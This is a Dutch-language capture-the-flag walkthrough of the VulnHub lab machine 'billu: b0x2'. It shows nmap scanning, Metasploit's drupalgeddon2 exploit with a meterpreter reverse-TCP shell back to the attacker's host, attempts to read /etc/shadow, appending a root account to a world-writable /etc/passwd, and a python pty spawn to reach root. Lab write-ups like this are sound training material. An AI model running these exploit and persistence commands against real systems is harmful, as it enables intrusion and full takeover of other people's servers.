Naam | billu: b0x2 |
Auteur | Manish Kishan Tanwar |
URL | https://www.vulnhub.com/entry/billu-b0x,188/ |
Niveau | Beginner |
Interne ID | 102 |
Interne naam | Billubox2 |
Tags | Web, privesc, metasploit |
Dit is de tweede machine uit de billu reeks
Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.
nmap -p- 10.0.1.102 -sV -O -A
De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.
Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.
Na een beetje rondgeklikt te hebben vraag ik de html bron van de pagina op met een rechterklik en dan ‘view page source’
In de code zie ik dat de pagina draait op Drupal 8.
<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
Dit is een oudere versie van Drupal, mogelijk is er een exploit beschikbaar. Dit keer kies ik er voor om metasploit te gebruiken in plaats van alle handelingen met de hand te doen.
msfconsole
search drupal
Uit de resultaten kies ik ‘drupalgeddon 2’ en laad deze in metasploit in.
Omdat Drupal op PHP draait gebruik een PHP gebaseerde payload (reverse tcp meterpreter). Als lokale poort gebruik ik mijn favoriete poort 4444.
use exploit/unix/webapp/drupal_drupalgeddon2
set payload php/meterpreter/reverse_tcp
set LHOST 10.0.1.234
set LPORT 4444
set RHOSTS 10.0.1.102
run
Succes: er wordt een reverse TCP meterpreter sessie gestart
[*] Started reverse TCP handler on 10.0.1.234:4444
[*] Sending stage (38288 bytes) to 10.0.1.102
[*] Meterpreter session 1 opened (10.0.1.234:4444 -> 10.0.1.102:46298)
meterpreter>
Ik ga direct door naar de shell om te controleren onder welke gebruiker ik ben binnengekomen.
shell
whoami
www-data
Ik kijk graag in de /etc/passwd en /etc/shadow bestanden, mogelijk zit hier een eenvoudig te kraken wachtwoord in of is er iets anders interessants uit te halen.
cat /etc/passwd
cat /etc/shadow
cat: /etc/shadow: Permission denied
Helaas is /etc/shadow niet leesbaar, even uitzoeken wat de rechten zijn op /etc/passwd en /etc/shadow
ls -al /etc/passwd
-rwxrwxrwx 1 root root 2606 jun 10 2018 /etc/passwd
Nu ik dit zie kijk ik niet meer verder. Het passwd bestand is door iedere gebruiker beschrijfbaar. Dat betekent dat ik zelf een gebruiker of alias aan het bestand kan toevoegen.
echo hacker:`openssl passwd -1 -salt hacker hacker`:0:0:root:/root:/bin/bash >> /etc/passwd
Na het toevoegen van de gebruiker ‘hacker’ met wachtwoord ‘hacker’ is het tijd om in te loggen als deze gebruiker.
su hacker
su: must be run from a terminal
Ai, onze shell is geen volledige terminal sessie, maar dat is eenvoudig op te lossen.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@billu-b0x:/var/www/html$
Ik wissel nogmaals van gebruiker, dit keer lukt het wel
su hacker
Password: hacker
root@billy-b0x:/var/www/html#